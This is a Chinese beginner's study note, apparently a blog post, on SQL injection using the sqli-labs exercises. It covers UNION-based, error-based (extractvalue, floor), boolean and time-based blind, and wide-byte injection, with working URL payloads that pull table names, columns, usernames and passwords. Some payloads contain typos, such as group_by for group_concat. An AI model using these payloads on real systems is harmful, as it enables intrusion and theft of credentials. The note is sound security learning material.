SQL注入学习笔记
前言
本文是初学web安全时写的,有许多地方不够严谨,逻辑上也存在问题,请见谅~
SQL注入
当客户端提交的数据未作处理或转义,直接带入数据库
具体来说,当Web应用程序对用户输入数据的合理性没有进行判断时,前端传入后端的参数就可能被攻击者所控制,并且根据这些参数带入数据库查询。攻击者可以通过构造不同的SQL语句来对数据库进行任意查询、增加、删除或修改等操作——->(通过构造一条精巧的语句来查询想要得到的信息 )

分类
注入点
是可以实行注入的地方,通常是一个访问数据库的连接
比如
1 | http://2.0.0.1/sql/Less-1/index.php?id= //id这个地方就是一个注入点 |
判断字符型注入和数字型注入
数字型一般提交内容为数字,但是数字不一定为数字型
1.使用and 1=1 和 and 1=2来判断
- 如果提交and 1=1 和 and 1=2都能正常显示界面,则为字符型注入,原因是输入的东西相当于被引号括起来了,and就不是 指令(字符型需要闭合符’’来提交)
- 如果提交and 1=1能正常显示,提交and 1=2不能正常显示,则为数字型
2.可以使用 2-1判断
1 | http://2.0.0.1/sql/Less-1/index.php?id= 2-1 |
ps:为什么不用+?+有的时候会被理解为空格
闭合方式
‘ , “ , ‘) , “)

闭合的作用
手动提交闭合符号,结束前一段查询语句
后面即可加入其他语句,查询需要的参数
不需要的语句可以用注释符号’–+’或’#’或’%23’注释掉
Union联合注入
注意:联合查询必须要求列数一致,否则报错
查询回显位:
查询回显位通常指的是在执行查询操作后,确定查询结果在页面上的哪个位置显示出来。这通常与网页开发、数据库查询以及命令行界面操作相关。
步骤
0.查找注入点
先判断字符型注入还是数字型注入,如果是字符型,找到它的闭合方式
1
2
3
4
5
6/*
1.字符型:要自己加一个闭合符提前结束闭合,不然group by语句被闭合就失效了 ?id=1' group by 10 --+
2.数字型:直接group by
----用order by也可以-----
*/二分法判断列数(group by/order by),比如先group by 10 再group by 5这样
根据列数进行union查询
1
2
3-- 比如得到列数是3
字符型?id=1' union select 1,2,3 --+
-- 如果想看到联合查询查出来的东西,那么需要让前面为假(可以让id等于一个没有的值)查询回显位置
拿到表名
!!!数据库information_schema


1 | -- 比如对于Less-1(字符型) |
即使加上了where限定,但是对于多个属于同一个库的表,还是会出现回显位只能显示第一个表的情况。这时需要group_concat()
1 | /index.php?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where schema.table_scema=database() --+ 就能显示属于当前库所有表 |
拿到列名
与前面类似
1 | /index.php?id=0' union select 1,column_name,3 from information_schema.columns where table_shcema=database() and table_name = 'users' --+ |
可以获取到表名为users,列名id,username,password,然后就可以获取全部信息了
1 | 字符型:/index.php id=-1' union select 1,group_concat(username,password),3 from user --+ |
group_concat()之间可以自己加入分隔符加强可读性
数字型union注入
与字符型的区别:不用判断闭合方式
报错注入


报错注入:构造语句,让错误信息中夹杂可以显示数据库内容的查询语句
extractvalue注入
1 | select extractvalue(列名(XML文档对象名称),路径) from 表名;-- 注入的时候不考虑列到底存不存在 |
如何让它报错
1.如果只是写错路径下的名字,不会报错,只是找不到
2.路径格式错误,报错,会把错的路径报出来
构造思路:既然错的路径会被报出来,能不能利用这一点,在报错这个地方报错之前先回显一些有用的信息
1 | select extractvalue(列名,concat(0x7e,(select database())) from 表名; |
1 | index.php?id=1 union select 1,2,extractvalue(1,concat(0x7e,(concat(select database()))))-- 路径错误引起报错,可以回显当前数据库的名字 |
如何获得不同的信息
在concat的第二个参数动手脚
获取表名
1 | index.php?id=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) |
获取列名
1 | index.php?id=1 and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) |
获取详细信息
1 | index.php?id=1 and 1=extractvalue(1,concat(0x7e,(select group_by(id,username,password) from 想查的表名))) |
ps:报错的回显位最多只能显示32个字符,可以用substring解决这个问题

1 | index.php?id=1 and 1=extractvalue(1,concat(0x7e,(select substring(group_by(id,username,password),30,30) from 想查的表名)))-- 从第30个字符再往后显示30个字符 |
updatexml注入

原理
与extractvalue()一样,在第二个参数-xml路径上动手脚,参数用法也和extractvalue()一样

floor报错




](C:\Users\27251\AppData\Roaming\Typora\typora-user-images\image-20240530195631365.png)
报错原理


分析
rand()中传入0后,floor(rand(0)*2)随机出的字符串为01101,rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复

第一次统计时,group_key里面没有security-0这个键值,concat_ws()要重新计算一个键值给它(指group_key),计算的结果就是0下一位security-1,加入group_key中,进行统计;第二次统计时,键值存在,其实算的是第三位的security-1,键值存在,count()++;再下一位,遇到security-0,键值不存在,重新计算到下一位security-1,加入group_key中,但是原本已经有security-1这个键值了,发生键值冲突,报错
1 | select count(*),concat_ws('-',(database()),floor(rand(0)*2)) as a from 表名 group by a; |


盲注

布尔盲注
web页面只返回true真和false假 两种类型,利用页面返回不同,逐个猜解数据




但是ascii()并不能对字符串中的每个字符都求得ascii值,只能显示第一个字符的ascii码值,所以需要substr(str,n,k)/substring(str,n,k)来辅助(从第n个字符开始显示k个字符)
1 | index.php?id=1 and substr(('abcd'),1,1) //把abcd换成想要的语句 |

时间盲注



1 | -- 可以根据页面响应时间判断字符型-闭合方式/数字型 |

1 | -- example |


宽字节注入


局限性:宽字节注入必须使用GBKB编码

意思就是%5c()原本应该和后面的单引号结合,但是却被解析成和前面自己输入进去的一个字符结合,使得\失去自己的作用

1 | http://192.168.127.186/sql/Less-32/index.php?id=-1%df' union select 1,group_concat(username,id,password),3 from users --+ |
注入文件上传
mysql文件上传要点
1 | show variables like '%secure%'; -- 来查看MySQL是否有读写文件权限,如果secure_file_priv的值是空的,那么MySQL可以在任何位置读取和写入文件(这通常是不安全的)。如果它被设置为一个目录的路径,那么MySQL只能在该目录内读取和写入文件 |
步骤
还是先判断字符型和数字型
如果是字符型,再判断闭合方式 加上and 1=2 和and 1=1判断闭合符是否正确
然后判断列数





